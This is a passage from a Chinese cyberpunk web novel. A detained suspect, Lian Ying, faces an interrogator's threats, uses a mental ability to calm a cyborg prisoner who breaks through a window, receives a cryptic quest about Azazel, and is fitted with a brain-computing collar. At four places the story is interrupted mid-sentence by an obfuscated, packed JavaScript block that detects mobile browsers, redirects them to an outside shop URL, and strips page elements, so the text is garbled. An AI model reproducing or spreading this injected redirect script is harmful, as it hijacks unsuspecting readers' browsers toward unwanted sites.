她不知道,这一切到底是只她一人能看见的幻觉,还是某种真实的存在? 连映展开精神力探过去,下一秒,她心里一沉:所有试探都被吞噬了,没有回返。 不是是不是感知到了她的探查,那团黑斑的脉动突然停顿了一下。 连映瞬间心里一悸,似乎在那片死寂的黑色深处感知到了无数双看不见的眼睛,正冷冷地、却又带着某种近乎偏执的专注回望着她。 几秒钟的死寂对峙后,那块黑斑忽然从连映眼前消失不见,就像从未存在过一样。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122451|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “……” 终于不见了。连映盯着空无一物的墙角,冷汗浸湿了后背。 刚才,她的精神力感知到的并不是活物,而是一种说不出的诡异气息,不同于无机质的冰冷智械,那个黑斑给她的感觉非常矛盾,像一个深不见底的黑洞,危险、无法探测,让她浑身发毛。 此时,她唯一能够确定、且近乎本能般察觉到的是—— 那东西,是冲着她来的。 就在连映惊魂未定时,医务室的气压门“嘶”地一声滑开了,一个穿着深蓝色制服、剪着利落短发的女人手里拿着一块透明的电子记录板大步走了进来。 她相貌英气美艳,身上带着一股常年处于对抗一线的冷硬气场,眼神湛然锐利,完全没有一夜没睡的疲惫感。 由于墙上诡异黑斑的存在,连映第一次为审讯她的调查官在场而松了口气。 “醒了?” 调查官走到床边,居高临下地扫了连映一眼,随手将那块记录板扔在被子上,语气冷淡: “既然清醒了,就把字签了。这是你昏迷前的审讯笔录。虽然你基本什么都没说,但流程还是走完。” 看连映一动不动,她语气不屑地冷声道:“放心,如果想做掉你早就做了,不会留你到现在。军方和外面那些公司养的警察不一样,不会在你签名后转头就伪造笔录。” “我不是这个意思,陆军官。”连映慢条斯理地轻声道,“我坐不起来。” 调查官闻言皱了皱眉,按了一下床边的按钮,病床倾斜起立。 连映斜靠在病床上,费力地动了动被软性束缚带固定的手腕,拿起那块记录板。 屏幕上密密麻麻地记录着刚才的时间节点以及她的生理体征数据。而在询问内容的那些栏目里,几乎全是否认、空白或者“沉默”。 连映的视线滑到最底部的签名栏。 【受讯人:连映】 【讯问人:陆靖遥(特勤局罪案科一级调查官),高承(特勤局罪案科高级调查员)】 【记录员:AI-7703】 这个女调查官原来叫陆靖遥。 连映暗暗把她的名字记在心里,伸出手指在屏幕的指纹识别区按了一下。 【滴。签名已确认。】 陆靖遥抽回记录板,确认无误后,才拉过一把椅子坐下,目光在她苍白的脸上停留了几秒:“看来你的身体素质比我想象的要差,才一个小时就扛不住了。” 医务室的灯光明亮如昼,将连映苍白没有表情的脸映得如薄瓷般通透。 “连映,我没时间跟你绕圈子。” 女调查官突然俯下身,压低声音,用一种只有两个人能听到的语调说道: “上面给了死命令。不管你身体怎么样,明天上午,第二次审讯照常进行。” “明天?”连映声音沙哑。 “对,明天。”陆靖遥指了指天花板的方向,语气变得森寒,“军方那边已经没耐心了。易楚生的死牵扯太大,创联高层现在像疯狗一样在找一样东西,他们怀疑那东西现在在你手里。” 找东西? 连映心中一动,脑海中瞬间闪过夏雨手里那个刻着令人头晕的漩涡眼睛的金属牌,以及那个蓝宝石胸针。 “我不知道你在说什么。”她不动声色地垂下眼帘,“我的东西,你们不都搜个遍了吗?” “你有没有,明天就会知道了。”陆靖遥直起身,冷笑了一声: “如果明天你还不能给我们一个满意的交代……那你很快就会被移交给反恐部门。到了那时候,不管是‘深度记忆探测’还是‘强制测谎’,你想体验什么,他们都有。” 连映没有立刻说话。她还在想刚才那个过于真实的“附身”体验。 那到底是某种她不知道的黑科技,还是……正在真实发生的事? 她必须确认一下,但绝不能直接问。 迅速思索了一下话术,连映动了动干涩的喉咙,微微皱眉,用一种虚弱却带着几分指责的语气开口质疑道: “陆调查官,你们刚才用的手段,不合规吧?” 14.玻璃后的脸 “什么手段?”女调查官挑了挑眉。 “刚才审讯室里的那种神经诱导剂,剂量是不是太大了?” 连映抬起手按了按太阳穴,似乎在忍受极大的痛苦。 “我昏迷的时候出现了非常严重的分离性幻觉,甚至还有长时间的感官错位。你们可能不知道,我小时候身体不好,对这种药物很敏感。” 她抬起眼皮,目光幽幽地盯着陆靖遥,像是想要从对方脸上找出一丝破绽: “这是联邦禁用的审讯辅助手段。如果我的律师知道你们使用非法手段诱导我产生幻觉……” “哈!你在做梦吗?” 陆靖遥像是听到了什么极其荒谬的笑话,发出一声短促的嗤笑。 她俯下身,眼神里满是嘲弄: “连映,我看你是刚才摔得太狠,把脑子摔坏了吧?还是说,你在为你的心理防线崩溃找借口?” “神经诱导?植入场景?”陆靖遥摇了摇头,“事发突然,特勤局的预算也很紧张,暂时没条件给你上那种‘造梦’的高级货。刚才除了那一针常规的吐真剂,没有任何人对你动过手脚。而且——” 她顿了顿,一边唇角轻蔑地扬起: “如果我们真对你上了什么高级货,你以为你现在还能好端端地在这和我讨价还价?” 连映一直死死盯着陆靖遥的面部表情,她是专业的情绪调谐师,学习过心理学知识,也研究过微表情。 眼前的陆靖遥眼神没有丝毫偏移,从面部表情和肢体语言看,她是认真的,没有撒谎。 至少,在她的认知里,审讯方确实没有使用过这种手段。 连映大脑飞速运转: 陆靖遥的反应可以排除她本人在那场特勤局常规审讯中使用这种手段的可能性。但是……这能证明刚才的一切是真的吗?不,还不能下定论。 也许是那个接手了案件的军方在暗中测试?也许是陆靖遥的级别不够,接触不到更高层的技术? 又或者……刚刚发生的一切都是真的,世上存在某种超出她认知的力量。 她需要找机会验证自己的猜想,那个“机械感知”的能力就是一把最好的钥匙。 连映不动声色地收回目光,不再继续纠缠这个问题,以免引起对方警觉。 “是吗?”她垂下眼帘,语气淡淡,“那可能是我体质太差,对那个过敏吧。” 陆靖遥冷哼一声,显然对这种“借口”不感兴趣,将手里另一份文件摔在连映的被子上。 “行了,别装疯卖傻。你的身体状况能不能扛得住,你自己心里清楚。” 陆靖遥敲了敲那份报告,语气忽然郑重了些: “告诉你一个新进展——关于你那个‘凭空消失’的前男友。” 连映表情微变:“怎么,你们找到他了?” “可以这么说。或者说……找到了他的一小部分。” 陆靖遥指了指报告上的红字: “刚刚我们的人复勘现场时,在创联塔附近的自动清洁区外墙的废弃物回收栅上,提取到了微量的人体皮下组织、血液和破碎的纤维残留,血液留下的时间是昨天夜里三点半左右——很巧,和那个报假警的时间一致。” “根据刚刚出炉的DNA比对结果,那些组织样本,确定属于闻阗本人。” 连映心猛地一沉。 有人说梦代表着一种感应,难道闻阗真的坠楼了吗? 陆靖遥观察着她的微表情,继续施压道: “更有趣的是,这些组织和衣物碎片具有典型的高空高速撞击所形成的撕裂与变形特征。也就是说,他很有可能是从极高的地方摔下来,撞击到了那个回收栅,留下了这片碎片。” 创联大厦清洁区的回收栅栏在哪?连映费力地回想着梦中自己梦见闻阗坠楼的方位,但她对创联大厦的顶层风景并不熟悉,很难直接和印象中创联周边地面上的建筑布局一一对应。 “但是,连映。” 陆靖遥突然压低声音,语调莫测地说: “我们发现DNA碎片的地方,并不在创联塔底。确切地说,那里离创联大楼最近的一面墙,也有五十多米的直线距离。” “你说,在一个风不大的雨夜,一个坠亡的尸体是怎样出现在两个地方,还没有在监视器里留下任何痕迹的? 一个心思缜密到能在短时间内处理掉现场所有痕迹和监控视频的人或势力,真的会大意到将能检验出DNA的证据一不小心留在现场吗?” 连映盯着那份报告,大脑在剧烈震荡后迅速冷却。 五十米。高空撞击撕裂特征。 如果闻阗是自然坠落,绝不可能飞到五十米开外。 陆靖遥还在继续:“当然,真相有很多可能性。但是,不管是有人处理尸体故布疑阵,还是预谋的潜逃,这都不只是一个简单的失踪案。连映,如果你知道什么,不要再继续隐瞒……” “我不明白你在说什么。” 连映打断了她,抬起头,眼神恢复了那种标志性的冷静与无辜。 “陆警官,如果你们只能找到几块皮屑,那只能证明他可能受伤了。” 连映看着陆靖遥,语气平静得像是在讨论别人的案子。 “这一切证明不了他死了,更证明不了是我杀的。至于怎么飞过去的……也许是被风吹的?或者是被清洁机器人带过去的?你们军方办案都是这样靠想象力做事吗?” “嘴硬。” 陆靖遥冷哼一声,站起身来准备离开。她也知道仅凭这点证据无法定罪,她来这里更多的是为了施压。 “不管他是死是活。上面已经没耐心了。易楚生的死牵扯太大,闻阗涉及军方机密项目,你却和他们都有极深的牵扯。” 陆靖遥俯下身,下达最后通牒: “你再好好想想。明天上午,第二次审讯照常进行。” “如果明天你还不能给我们一个满意的交代……那你可能很快就会被移交给反恐专家。到了那时候,不管是深层记忆引导搜索、强制意识剥离还是虚拟酷刑,你想体验什么,他们都有。” 连映眉毛情不自禁地动了动,她强忍着面上没露怯,但还是忍不住问道:“这也是合法程序?” “进了这里,你还在和我讲合法程序?你看起来不像这么天真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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连映心下一跳,若无其事地说:“好像是吧,醒了以后就忘了。” 狱医点了点头:“唔……这倒也说得通。欸,这里说你小时候——” 话还没说完,外面忽然传来异响。 “咚……” 一道道沉闷的撞击声突从外面传来,连带着地板都微微震颤。 狱医的手抖了一下,脸上的疲惫瞬间变成了惊恐:“该死……这就醒了?那可是三倍剂量的‘大象倒’!” “咚!咚!” 撞击声越来越近,急促、暴烈,像是刚刚苏醒的巨兽用身体疯狂撞击着牢笼。 幸好没被继续问下去,连映悄悄松了口气,顺势转移话题道:“这是什么声音?” “这是——”狱医还没说完话,侧墙的单向观察窗外突然传出一声皮肉撞击玻璃的闷响。 连映和狱医立刻转头看去,下一秒,他们呼吸齐齐一窒! 窗户后猛地撞上来一张脸。 一张轮廓陡峭、眉骨深峻的脸,横贯眉心的旧疤在冷光下微微扭曲,充血的眼睛里凝着一种带着死寂的狂乱,正隔着防爆玻璃死死盯着屋内。 15.失控的囚徒 确切地说,男人似乎是在直直盯着连映。 “靠!怎么疯到这来了!”狱医吓得手一抖,瞳孔笔掉在地上。 连映后背冷汗刷地冒出来,心脏狂跳,被掠食者锁定的生理本能让她全身僵硬。 就在这时,尖锐的警报声在走廊骤然响起: “警报!B区通道有人挣脱束缚!警报!” 走廊上的红灯疯狂闪烁,刺耳的蜂鸣声瞬间炸响。 “在那!制服他!别动用致死武器,上面要活的!” 窗外传来警卫急促的脚步声和高压电流的滋滋声,紧接着是一连串沉闷的□□撞击声。 “上面要活的,用□□!他——啊!!” 惨叫声戛然而止。在连映的余光里,几名全副武装的警卫甚至没能碰到男犯人的后背,就被他反手挥出的残影直接掀翻在走廊墙壁上。 男人的注意力甚至没有从连映身上移开过一秒。 在扫清身后的干扰后,他像是被某种极其强烈的意念驱动,右臂猛然抡起,更加猛烈地砸向两人之间的玻璃中心! “咚!!!” 那一拳的力道让整面墙壁都在剧烈共振。 “别……别怕!这是最高等级的防爆玻璃,他就算把自己手砸碎了也进不来!”狱医还在强撑着安慰,声音却在发颤。 真的吗?不知为何,连映总有种不好的预感。 看着男人越来越凶狠的动作,连映将目光投向窗户,忽然,她想到了自己还有个机械感知的能力。 虽然不知道这算不算机械,但姑且试试看吧。 连映意念一动,迅速启动了机械感知能力。 世界瞬间褪色,化为由无数冷硬线条构成的线性空间。 连映扫了一眼身边的狱医,他体内绝大部分是沉闷的灰色,只有左臂关节处缠绕着几根线条稀疏、结构松散的蓝色光圈,大概是普通的低端民用义体。 连映自己的身体则完全是灰色的生物体。 但是,外面发狂砸窗户的陌生男犯人身上的透视图景却截然不同。 他的躯体在刚才的正常视野中看不出端倪,但在机械感知视觉中,他的躯体与所有其他人截然不同,是密集成一团、近乎实心的复杂几何体。无数细密的结构线交织重叠,层层叠扣在泛着冷光的骨架模型上。 这种精密度,比狱医体内那几个零件高出了不知多少个量级,甚至高过医务室内的精密医疗仪器。 这根本不是人,这是一台被强行塞进人皮里的战争机器。 更奇怪的是,他体内并没有李斯那种红色的电能动力源,而是灰白泛青的色泽,似乎他这副异常精密的躯体依然是生物或者仿生构造。 如果是夏雨,大概会看出更多,但是现在连映看到的已经足够令她心惊。 但现在,更令她恐惧的还不是男人的身上的义体有多致密,而是窗户。 正如狱医所说,玻璃本身极其坚固,秦阒的怪力根本无法击碎它。但是,这股巨大的动能并没有消失,而是全部传导到了固定窗框的墙体内部。 连映清晰地看到,埋在混凝土墙里的几根合金螺丝,因为窗外的男人的那种特殊的、如同打桩机般的高频震荡发力方式,已经有三根开始松动、断裂! 现在整个金属窗框的边缘已经亮起了刺眼的红色警报,根据经验,那代表着某种崩解。 连映心惊肉跳地意识到:玻璃可能确实不会碎,但是整扇窗要掉下来了! 此时,男人再次举起了拳头,蓄力。 狱医还佯装镇定地站在窗边,腿却在发抖。 “快躲开!窗户要塌了!” 连映高声提醒,医生面上一脸茫然,身体却反射性地向后退了几步。 下一秒。 “轰隆——!!!” 整面防爆观察窗连同那圈沉重的精钢窗框,像被重型炮弹正面击中,伴随着崩裂的混凝土碎块,排山倒海般向室内平拍下来。 沉重的窗框组件狠狠摔落在地板上,砸出一个大坑,烟尘瞬间弥漫了整间医务室。 狱医跌坐在地上,看着面前不到半米处的巨大窗体,脸色煞白,浑身发抖。他那副厚底眼镜歪在鼻梁上,却忘了去扶。 连映依然被铐在病床上动弹不得,心有余悸地看着墙上的的大洞。 这个机械感知能力,难道是真的?如果不是它,她根本不可能预判到玻璃内部结构的崩塌。 连映默默想着,心惊肉跳地看向窗外依然在执拗地看着自己的高大身影。 他动作利落地越过窗洞和地上的窗体,毫发无损地直直朝这边走来。由于超负荷的震荡,他右臂上有几处仿生皮肤已然崩裂,却没有血流出来。 连映被束缚带困在病床上,避无可避,被极度危险的存在步步逼近的压迫感,让她全身的汗毛都竖了起来。 她屏住呼吸,抬着头眼睛一眨不眨地回盯着那双凶戾空无的眼睛,生怕一移开视线这人就会忽然失控。 看到连映回视,男人的动作忽然微不可见地顿了顿,一丝迷茫从男人狂乱的脸上短暂掠过,快到连映几乎以为这是自己的错觉。 眼看着那只线条致密的拳头再次抬起,连映知道,求饶或尖叫在这个野兽般只剩本能的强悍改造人面前毫无意义。 她深吸一口气,强行压下颤抖的生理本能,发挥长年在灰色诊所接待赛博精神病磨炼出的职业素养,集中注意力,尝试像之前对付李斯时一样,将精神力束起来,强行朝对方狂暴的意识中心刺过去。 【警告:检测到受体试图建立非对称神经共鸣,正在启动外部非法链接,损毁风险自负。】 视网膜上刷出的鲜红警告被她直接略过。 然而,在意识触碰到对方的瞬间,连映几乎条件反射地想缩回。 太吵了。 眼圈男人狂暴的头脑里充斥着正在尖啸的防空警报,无数破碎的、狂暴的情绪和念头,顺着连映开启的缝隙,如同一场精神海啸,不由分说地朝她的大脑灌了进来。 那是一种被高强度电磁干扰、被无数次洗脑与格式化后留下的意识残骸。痛苦、暴戾、孤独,以及一种深不见底的、像黑洞一样的虚无,排山倒海般顺着某种无形的波段向她砸来。 连映的太阳穴突突狂跳,在被迫安抚疯子垂怜的职业肌肉记忆主导下,她强忍着大脑快要炸裂的剧痛,迎着男人那杀意沸腾的视线,将自己所有的精神防御瞬间撤去。 “……安静。” 她像是在狂暴的海浪中投下一枚定风珠。 那是一种极其危险且违规的深层介入。连映感觉到自己的意识探入了一片冰冷的深海,周围全是扭曲的钢铁阴影。她在那团纠缠不清的混乱频率中,敏锐地捕捉到了一个极其微小的、几乎快要熄灭的跳动点。 那是他残存的人性。 连映竭力稳住自己的频率,像是一个在雷雨天试图调准收音机的调频师,将自己那丝微弱却温和的精神气息,极其缓慢、极其轻柔地贴了上去。 噗嗵—— 空气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142122|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中仿佛荡开了一圈无形的涟漪。 男人那只已经抬起的、指节由于重击而血肉模糊的手,突兀地悬在了半空。 他眼中的血色并未退去,但那种毁天灭地的狂暴却瞬间凝固了。他死死盯着连映,原本僵硬的肌肉由于某种极度的困惑而微微颤抖。 不是错觉,他是真的感知到了。 在这些年的漫长地狱中,这是唯一能让他安静下来的精神波长。 他俯下身,那张满是杀气的脸缓缓凑近连映。 两人之间的距离近到连映能看清他眉心那道伤疤细微的纹路,能感受到他鼻腔里喷出的灼热、混乱的气息。 “是……你……?” 男人的声音像是被粗砂砾磨过,嘶哑得几乎辨不出字音。 原本死寂的眼睛里竟浮现出一种孩童般的、脆弱的期待,甚至还带着一丝小心翼翼的委屈。 他似乎想要伸指去触碰连映的脸颊,但不知为何,那只手最终只是颤抖地悬在她的耳侧,没有落下。 连映额头的冷汗顺着鬓角滑入枕头,由于这种强度的安抚,她的鼻腔里再次涌出一股腥甜。但她没有移开视线,只是在那股共鸣的频率里,无声地安抚着这个迷失在狂暴中的灵魂。 【没事了。睡吧。】 连映用精神力轻轻说。 男人喉间发出一声模糊的、类似悲鸣的呜咽,蓄势待发的身体放松下来,面上的死寂凶戾也逐渐变成一片平静的空茫。 门外的警卫也冲了进来,几道刺眼的蓝色电磁索穿过灰尘,瞬间咬住了男人的脊背。 “滋——!!!” 毁灭性的高压电流疯狂席卷了他的全身。 男人的身体猛地绷直,那种好不容易平息下来的频率在电击下再次陷入疯狂。但他自始至终没有回头去看那些警卫一眼,他只是死死盯着连映,眼中的微光在电流的刺激下渐渐暗淡下来。 “唔……” 高大的身躯轰然倒地,重重砸在连映病床边。 连映猛地闭上眼,共鸣被暴力切断的剧痛让她差点当场昏死。就在她意识模糊的边缘,那道冰冷的机械电子音在脑海深处轰然炸响: 【警告:检测到受体精神阈值连续两次突破临界点。正在检索底层数据库……匹配成功。记忆封印区块出现裂痕,技能模组重组中……】 一行行数据流强行刷过她的视网膜。 【叮!锁定技能已解封。】 【技能名称:情绪调谐】 【来源判定:宿主核心职业本能(心理侧写/情绪干预)。】 【效果:基于你处理高危意识体的非法行医经验,可强制与目标建立精神链接,进行降噪(安抚)或啸叫(过载)。】 【代价:消耗大量精神力。注意,违规行医风险自负。】 连映擦了一把鼻血,看着视网膜上的文字,嘴角勾起一抹自嘲的冷笑。 这个能力居然叫情绪调谐?没想到她在狱里也要干回老本行。 她忍着头部残余的阵痛睁开眼,男人已经被粗暴地按在担架上,像一头死掉的野兽般被拖向黑暗。 连映松了口气重新靠回病床上,周围嘈杂的训斥声、脚步声都变得模糊。 就在这时,视网膜上跳出了几行血红加粗的新文字,伴随系统无机质的嗓音在耳边响起: 【叮!】 【隐藏任务触发!】 这个系统居然还有隐藏任务? 连映心里升起一丝好奇,打起精神看过去。 16.隐藏任务 连映盯着视网膜上的血色字迹,呼吸微滞。 【任务名称:寻找阿撒兹勒】 【任务描述:祭司已为两只替罪山羊投下命运的签筹,一阄归于神座,一阄归于阿撒兹勒。背负着罪孽的替罪山羊将被送往无人之地,以它的血肉掩盖神座下的阴影。】 【任务目标:找到阿撒兹勒,将属于祂的替罪山羊献给祂,在它被荒野吞噬之前。当前追踪进度:0/2】 【任务奖励:被掩盖的记忆碎片 0/1】 这个任务的文字是和以往的直白截然不同的谜语人风格,连映其实没看明白。 她的个人理解是:她要找两个人,一个是犯人,一个是……阿撒兹勒是指什么,幕后黑手?还是某个执法者? 这段话,难道是说要把被冤枉的人让幕后黑手处决?这种丧良心的事她可不想干啊! 可是,这只是她自己的胡乱猜测,实际意思可能完全不一样。 “系统,你能说的更明白点吗?”连映在心里恼火地问。 没人回答她。 算了,走一步看一步吧。 寻找阿撒兹勒……阿撒兹勒好像是西方传说里一个堕天使的名字。 任务蹦出来的时机正好在那个男人被制服的时候,看来刚才那个男人和这个任务脱不了干系,刚才他看到自己后发疯捶玻璃的反应确实很反常。 说实话,连映现在依然觉得这一切很玄学,因为她有幻觉发病史,她其实不太相信自己,可今天发生的一切没法完全用幻觉来解释。 但是,鉴于这个系统给的能力刚才在危机中确实发挥了作用,连映现在也懒得深究了,更重要的是,任务给的能力和奖励里的记忆碎片对她确实有吸引力。 想到审讯时脑内诡异而陌生的记忆闪回画面,又想到夏雨手里那个和记忆闪回中易楚生胸口一样的图案,如果一切都是现在真实发生的…… 不,先别想这些了,反正她被关在羁押所里,没法验证真假。 先从刚才那个男人的相关情报开始吧。 “刚才那是谁?”连映关上系统界面,转头问旁边惊魂未定的狱医。 狱医正在收拾地上的的东西,听到连映开口,他扶正了眼镜,有些后怕地看了一眼秦阒被拖走的方向: “你说那个疯子?他叫秦阒,阒寂无声的那个阒,门目犬。认识这个字不?” “认识。”为了任务,连映颇为配合地称赞道,“您记性真好。” 狱医不在意地笑了笑:“一般一般,记得他这名儿吧,主要是因为我有点迷信。也不知道他家父母为什么给孩子取这个字,怪不吉利的。名字可不能随便取,你看,这不就出事了吗?” “可是,他这情况,不是应该在精神病院里吗?”连映面上好奇地问,眼里刻意闪动着八卦的光。 “嘘,这事水可深了,可不能告诉你。不过,你想,要是能放精神病院,会把他关在这吗?” 狱医神神秘秘地对她挤了挤眼,又道: “他是男区那边最老的一批住户,在这里头待了四五年了,是个重度赛博精神病,听说以前是特种部队的,二十出头就被当年的魏将军、现在的魏副总统破格看中选为贴身副官,结果没多久就出了事。 具体情况没对外公布,你只需要知道他不是普通的囚犯就行,你们女监平时也接触不到他,不用担心。” 说到这,狱医叹了口气: “他平时虽然不正常,但最近大部分时候都很安静,不是拼命地锻炼身体,就是在那发呆、说胡话,很久没这么狂暴过了。不知道为什么,昨天夜里三点多忽然开始犯病,一直闹到现在。” 昨天夜里三点多?连映敏锐地捕捉到这个熟悉的时间点。 说到这,狱医突然顿住,那双躲在厚镜片后的眼睛亮了一下,状似无意地看向连映: “不过,你刚才是怎么知道墙要塌的?我离得那么近都没听出动静。” 试探来了。这个狱医果然很敏锐。 连映露出一抹心有余悸的苦笑:“我哪知道啊,医生。我是被他砸玻璃那频率震得耳朵疼。我工作时经常和赛博精神病打交道,被他们的破坏性搞怕了,刚刚看他砸墙你没防备就瞎喊了一嗓子,没想到真塌了。” “是吗?”狱医呵呵一笑,冲她竖了个大拇指:“看来你这方面经验比我丰富,刚才那疯子也是一到你这就乖乖就范,看来我还是修行不够,还得向你学习!” 这狱医对犯人态度都这么好吗?还是说,因为她严格来讲真正的犯人而是嫌疑犯,所以他态度比较客气? 连映感觉怪怪的,也打了个哈哈道:“我就是胆子小,惜命,呵呵。” 这个狱医看起来随和,实际总给她一种话里有话的感觉,连映不相信在这种地方会有一个没心机的老好人,还是谨慎一些为好。 她正想再多问几句,医务室的大门再次滑开。 由于刚才那个叫秦阒的男人引发的骚乱,外面的走廊已经封锁。几名全副武装的狱警闪开身位,一个穿着黑色高阶军队制服的中年男人走了进来。 他身形高瘦,面容阴鸷狭长,肤色透着一种常年不见阳光的苍白。 进门刹那间的功夫,那双鹰隼般的眼睛就已经将室内的大致情况和人扫了个遍。 狱医面色一变,以和身形不符的敏捷动作瞬间弹起身,脸上堆起一团谦卑的笑,快步迎了上去:“郑所长,您怎么亲自过来了?” 见所长扫了一眼地上的狼藉,他小心翼翼道:“所长,这儿刚出了点小状况,正准备清理呢,没惊着您吧?” “情况我已经知道了,闲话少说。”所长绕过狱医,径直走到连映的病床前停下,犀利的目光直直打在连映脸上。 连映下意识地想要用精神力和机械感知观察一下这个男人。然而,就在精神力展开的刹那,一种近乎本能的危机感让她的意识猛地缩了回来。 不对劲。 在感知边缘,郑仁钧周身散发着一种极其冰冷明亮的精神场,就像黑夜里的一盏路灯,虽然极其耀眼,但是也会把接近的人照得无法遁形。 这也许只是她自己的主观臆测,但小心驶得万年船,这个所长显然不是凡人,她立刻切断感知,垂下眼帘错开他的视线。 “连映?”郑仁钧开口了,语声冰冷如毒蛇滑过枯叶。 连映缩了缩肩膀,维持着一个新入狱杀人犯该有的苍白与战栗:“……是。” 郑仁钧俯视着她。他伸出戴着黑皮手套的手, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17145697|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托起连映的下巴,强迫她对视。连映能感觉到一种细微的、试探性的波长正绕着她的额头盘旋,仿佛要剥开她的头盖骨。 “能在创联的发布会全息直播上下手,还能在这儿活着跟我说话。”郑仁钧眼神阴冷,“看来你的大脑,比我想象的要值钱。” “所长,”狱医在一旁适时地插话,手里递上一份电子板,语气小心翼翼, “这儿灰尘大,怕熏着您。C095的体征监测刚做完,女监的吴监区长那边催着走下监流程,说得赶紧并网……” 郑仁钧被打断,阴冷的目光在狱医脸上停顿了半秒。 “做吧。”他松开连映的下巴,淡语气淡淡地命令道:“给她多打一个深层监测栓。她是重点监控对象,我要随时看到她的生理报告。” 他转身大踏步离去,如风的动作在连映身前带起一阵寒意。 随着郑仁钧带起的冷风消失在门口,医务室内的气压才猛地一松。 狱医收起了那副诚惶诚恐的笑脸,慢条斯理地从口袋里摸出一块手帕擦了擦额角的汗。 “好了,C095,咱们也该动身了。”狱医转过头,甚至对着连映笑了笑,“虽然郑所长交待要加深层监测栓,但你放心,我手稳,不会太疼。” 连映看着他那种像是在叮嘱感冒患者多喝水一样的平常神态,,以及和刚才聊八卦时一样的随和语气,背脊忽然一阵阵发凉。 “现在就开始?我的神经对这一类设备不太耐受,像刚才审讯时那样——” 连映还没说完,就被狱医打断: “进来的人都要打,你不过是加个东西,没区别,不用担心哈,很快的。” 他呵呵一笑,露出一个安抚的表情:“早点流程走完,你也能回监房早点休息。” 一边说,他一边按下床边的某个按钮。 原本柔软的病床边缘突然翻起几道合金锁扣,咔哒几声将连映的四肢死死扣住。 紧接着,床板和连映身后的纯白墙面同时向后翻转,像是一张立起的解剖台,将连映推入了另一个纯白色的金属舱室。 这里充满了刺鼻的臭氧味,没有审讯室的血腥,却有种令人窒息的冰冷工业氛围。被固定在床上的连映感觉自己就像一只即将被实验的小白鼠,她的身体不由得轻微战栗起来。 “身份录入开始。”三只巨大的金属臂从天花板降下来,机械音在舱室内回荡。 狱医戴上了无菌手套,从一旁的液氮箱里夹出一枚肉眼几乎不可见的微型探针。那是郑仁钧交待的深层监测栓。 “这小东西是军方的黑科技。”狱医凑近连映的后颈,语调轻快,甚至带着点安抚的味道。 “它会像一粒种子一样埋进你的脊髓里。一开始可能会有点胀,像是有无数小虫子在往骨缝里钻,但只要你不反抗,那种感觉很快就会变成一种……怎么说呢,微弱的电流快感?” 连映死死咬着牙,冷汗顺着额头滑落,开启了机械感知能力。 在她机械感知视野里,狱医手里那枚探针内部结构极其细微复杂,密布着极其细密的、活物般的纳米触须。 “忍着点,三,二,一。” “……” 冰冷的探针无声地刺穿了皮肤。 17.戴上监测颈环 三只机械臂的其中一只金属钳中夹着一个造型简洁的银色颈环,另两只则垂在连映的颈边待命,末端闪烁着红色的激光准星,让连映不由联想到在尸体上空虎视眈眈盘旋的秃鹫。 狱医戴上无菌手套,从机械臂钳里接过颈环,用一种令人起鸡皮疙瘩的安抚目光看着连映,语气异常温和地说: “这活本来是机器干的,但他们太死板,我可不想让你这个救命恩人受伤,得我亲自动手才放心。” 说着,他扬扬手挥退机械臂,甚至开始哼起了歌,看起来心情很好,刚才的玻璃窗惊魂记的阴霾好像已经在他心中散去。 怎么感觉这家伙忽然兴奋起来了?亏他刚才聊天时感觉还挺正常的,果然看起来最正常的才最不正常。连映心中暗想。 见他哼着小曲,亲手将那个冰冷的钢圈环绕在自己脖颈上,甚至还温柔地将颈边散落的头发拂开,连映心中一阵恶寒。 可惜此时她被死死固定在这床上,根本躲不开,只能强忍着没在脸上露出端倪。 “咔哒”,颈环合上,连映感到一阵轻微的刺痛。 “唔,让我看看数据。”狱医回头扫了一眼旁边医疗终端上的数据,语气轻松得像是在看心率监测,“连接成功。2079号,恭喜你,从现在起你就是这里的能源之一了。” 他转过头,看着连映惊疑不定的眼神,好心地解释道: “这是算力颈环。简单来说,你这颗聪明的脑袋现在已经并入了军方的离线计算网。每天晚上,它会按定额抽取你的脑力进行运算。别想着去干扰它,一旦监测到你的脑波异常对抗,或者你试图暴力拆卸——” 狱医点了点自己的额头,眯着眼睛笑了笑,“它会瞬间释放高压电流,把你这漂亮的小脑瓜烧成一锅熟粥。” “这是合法的?”连映不由质疑道。 